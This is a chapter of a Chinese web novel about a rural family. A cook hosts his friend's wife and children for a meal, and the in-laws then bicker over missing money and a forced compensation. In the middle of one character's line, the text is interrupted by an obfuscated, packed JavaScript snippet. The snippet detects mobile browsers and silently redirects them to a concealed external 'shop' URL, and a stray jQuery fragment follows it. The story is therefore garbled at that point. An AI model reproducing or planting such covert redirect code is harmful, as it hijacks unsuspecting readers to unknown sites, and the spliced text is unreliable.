没多久,萧建峰端着一大搪瓷盆黄焖兔出来,油亮的汤汁裹着酱色兔肉,红亮的干辣椒嵌在里头,一股浓醇的肉香直撞鼻尖,馋得苏玉兰口水快流出来。


    身后跟着两个小尾巴,嬉笑着各自手里端着一个小搪瓷盆,里头是分好的兔肉,小身子端得稳稳的,眼睛直勾勾盯着肉,连咽口水的小动作都藏不住。


    萧青岳进了厨房,端出一锅红薯白米饭和一大盆青头菌炒韭菜。


    三月滇南山里刚冒头的鲜菌菇,配上嫩韭菜,轻闲解腻。


    “嫂子,今天是你第一次来我家做客,我没什么本事,只能拿出这些东西招待,你可千万别跟我客气,敞开了吃。”


    萧建峰笑得憨厚,这么一句文绉绉的客套话,是他在厨房掂着锅铲忙乎时,抠着脑门想了半天才憋出来的。


    他可不能给岳哥丢脸。


    嫂子平时就看不起他们这些乡下人,他得好好表现讨嫂子欢心才行。


    整个青芽村谁不知道,岳哥对谁都冷漠,却能五年如一日地热脸贴嫂子冷屁股,就跟魔怔了似的。


    兄弟都这样了,他萧建峰能咋地?


    岳哥可是他救命恩人,他把人捧在手心里宠着,做兄弟的,自然也得恭恭敬敬的。


    不过从苏玉兰今天进门到现在,他瞧着倒是有些不一样了,最起码对岳哥的态度软和了不少,眉眼间也没了从前的冷淡。


    萧建峰要求也不高,嫂子能定下心来和岳哥好好过日子就成。


    他打心底里替岳哥高兴!


    这难不成就是老话讲的,烈女怕缠郎,软磨硬泡把心焐?


    苏玉兰不知道萧建峰心理活动,有些不好意思的也客气了一下,几人便围在破旧的饭桌边开始吃饭。


    苏玉兰是个吃货,见到好吃的,自然心无旁骛吃了起来。


    还别说,萧建峰手艺挺不错的。


    萧青岳见苏玉兰吃得香,眼底漾着的柔意都快溢出来,边照顾着大宝二宝吃饭,边给她夹菜。


    一旁的萧建峰看得浑身不自在,鸡皮疙瘩都起来了,赶紧埋头扒饭吃菜。


    又来了又来了!


    别以为岳哥冷着一张脸,他就看不出他那春情荡漾的内心!


    娶了个漂亮媳妇就真的那么好?


    连大男人的脸面都可以不要?


    不过萧建峰看着眼前这个,即使在昏暗灯光下也掩不住美丽的女人,突然有点理解,萧青岳为什么对她几年如一日地情有独钟。


    肌肤胜雪,那张脸美得把他眼睛都快亮瞎了,也不知道咋那么会长,跟天上挂着的那轮明月似的。


    一顿饭吃得苏玉兰心满意足。


    吃完饭,萧青岳和萧建峰两人边洗碗边谈事,苏玉兰带着大宝二宝在院里的石磨旁玩小弓箭和木陀螺。


    以前她不管孩子,萧青岳一有空就带大宝二宝来萧建峰家玩,院子里有不少萧建峰用木头削的小玩具,哥俩熟门熟路的各自找了喜欢的玩了起来。


    等萧青岳和萧建峰谈完事,将炼好的蜂蜜整理一下,给了萧建峰一瓶,另外三罐和巢脾渣托他去黑市卖了,剩下三罐装袋子里,几人便回了家。


    萧家其他人今晚一餐饭吃得阴云密布,个个都是消化不良。


    萧老五今天在苏玉兰屋里没翻到好东西,憋了一肚子气去镇上找李曼柔,两人约会一下午,李曼柔温柔似水,把他迷得一愣一愣的,恨不得立马把人娶回家。


    好不容易心情轻快回了家,结果听到爹妈赔了五百块钱给苏玉兰,他当场就在院子里暴走!


    五百块钱,那全都是他的钱啊!


    他承诺给曼柔娘家五百块钱彩礼,如今被二哥二嫂拿了,那……


    娘还会再拿钱出来给他吗?


    “放他娘的狗屁!老子压根就没拿他们的东西,更没看到那三百块钱,苏玉兰凭什么让娘赔钱?!爹,娘,你们怎么这么糊涂?”


    “二哥不是一向最听你们的话吗?你们让他把钱还回来!还有,我娶媳妇的三转一响也得他给,他整天在外面和那么多人打交道,一定有办法帮我弄到票!”


    “我不管!爹娘,你们赶紧让二哥把我结婚的东西给我!否则……否则你们就把他赶出门,我看他还敢不敢忤逆你们!”


    萧望田吧嗒吧嗒地吸着旱烟,眉头能夹死苍蝇。


    陈春秀也一脸苦相,她的心在滴血啊,整整五百块钱,能买六百多斤猪肉呢!


    这要换成猪肉,他们家能吃到个个嘴角流油!


    可村支书几人临走之前说的话还在耳边,“要是让我们听到你们萧家苛待儿媳,就罚你们去生产队挑粪。”


    萧望田神色沉重,他今天也是存点心思,五百块钱虽然给出去了,但那也是没办法之下的权宜之计。


    只要钱还在自己家里,他有的是办法让他们乖乖把钱还回来。


    只是,他突然意识到一个问题……


    “既然你们都说没拿老二家的东西和钱,那这些东西去哪儿了?”


    闻言,陈春秀、卢秋雁和萧老五面面相觑,也是一脸懵,是啊,去哪儿了?


    “会不会被老二家的偷偷藏起来了?”


    陈春秀小心翼翼的问,今天家里损失了一大笔钱,老头子看谁的眼神都是黑压压的,把她吓得气都不敢喘。


    “应该不太可能,今天早上我看着老二两口子出门,就拿了个小布袋,空荡荡的,根本藏不住东西。”


    萧望田吐出烟雾,一双浑浊的眼睛冒着精光。


    “那三百块钱呢?三百块钱说不定被她装布袋子里拿走,或者早就被她花了,她故意把账赖到我们头上。”


    卢秋雁越想越气,好处没拿到半分,倒是沾了个入室盗窃的罪名,她现在恨死苏玉兰了。


    陈春秀也觉得有道理,别说三百块钱了,她在老二屋里连一分钱都没翻出来。


    萧望田黑漆漆的眼盯着卢秋雁看了好几秒,没说话。


    卢秋雁有些发怵,“爹,你做啥这样子看着我?”


    萧老三也担心萧望田将赔钱的事怪到自己媳妇身上,连忙帮腔,“爹,我


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17188981|196605||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    媳妇说的有道理,二嫂平时几乎不和娘家人走动,怎么突然就跑去娘家借钱?我看就是她贼喊捉贼,故意讹你们的。”


    萧望田对自己儿子可不会客气,啪嗒一声旱烟枪就狠敲在萧承岳头顶。


    萧承岳叫痛,“哎哟,爹,你打我做啥?!”


    萧望田瞪了眼他,这儿子一身蛮力脑子还蠢,整天被自家媳妇忽悠得找不到北,说啥都信。


    看了一眼在旁边不敢出声的大妮二妮,气不打一处来!


    想他萧家,生了这么多的孙儿辈,全是赔钱货!


    老大三个,老三两个,老四两个,加起来整整七个丫头片子,难不成他老萧家要在他这辈子断了后?


    目光阴沉沉瞄了一眼卢秋雁高高隆起的大肚子,精光和算计一闪而过,希望老三媳妇这一胎争气点,千万得是个带把的!


    否则那些算计只能便宜了一个丫头片子。


    萧望田盯着卢秋雁,眼神越来越不对劲。


    老三家的看着老实,实则长了八百个心眼,平时好吃的东西总往自己屋里扒拉。


    今天这三百块钱不见得莫名其妙,说不定……


    是她偷偷藏起来的也不一定!


    “老二媳妇是个怎样的性子,我还是知道一点的,就她那脑子能想出这样的算计?换成老三媳妇还有可能。”


    萧老五不亏是萧家二老的宝贝老幺,一下子就听出了萧望田的言外之意。


    他眼珠子滴溜一转,也觉得萧望田说的有道理,“好啊,三嫂,你说,是不是你趁我和娘不注意,把那三百块钱偷偷藏起来了?”


    “当时我就觉得奇怪了,你拿着个大袋子出来,鬼鬼祟祟往里面装东西,我看过去时,你还故意转身挡住我视线,现在想想,你分明是在往袋子里塞东西!”


    仔细回想那东西的形状,可不就是一叠大团结的长长方方的形状么?


    萧老五萧神探感觉自己已经破案,真相分分钟出现在眼前。


    他转头对陈春秀和萧望田斩钉截铁说:“爹娘,就是三嫂把钱藏起来了,我看到了!”


    卢秋雁闻言顿时慌了神,天可怜见,她当时翻到了苏玉兰藏在柜子里的肥皂,顺手就藏兜里了。


    “我的娘哎!小叔子你可不能血口喷人呐!我拿的就是块不值钱的肥皂,哪里是三百块钱!”卢秋雁气得咬牙切齿,“你要这样说,那我还怀疑钱被你拿走了呢!”


    她原本想把陈春秀也拖下水,但没那个胆子。


    萧老五见卢秋雁抵死不认,拉着陈春秀信誓旦旦说:“娘,我真的看到了,你信我。”


    萧承岳闻言心中一阵暗喜,那可是三百块钱!以媳妇的性子,一定是被她偷偷藏起来了!


    但面上仍是一副无辜样,“爹娘,秋雁的性子你们不是不知道,平日里有什么好东西哪一次没拿出来?她怎么可能背着你们贪下那三百块钱?!”


    萧老五越听越不对劲,“三哥,你说的这是三嫂吗?我怎么觉得你说的更像二嫂呢?”


    萧承岳:……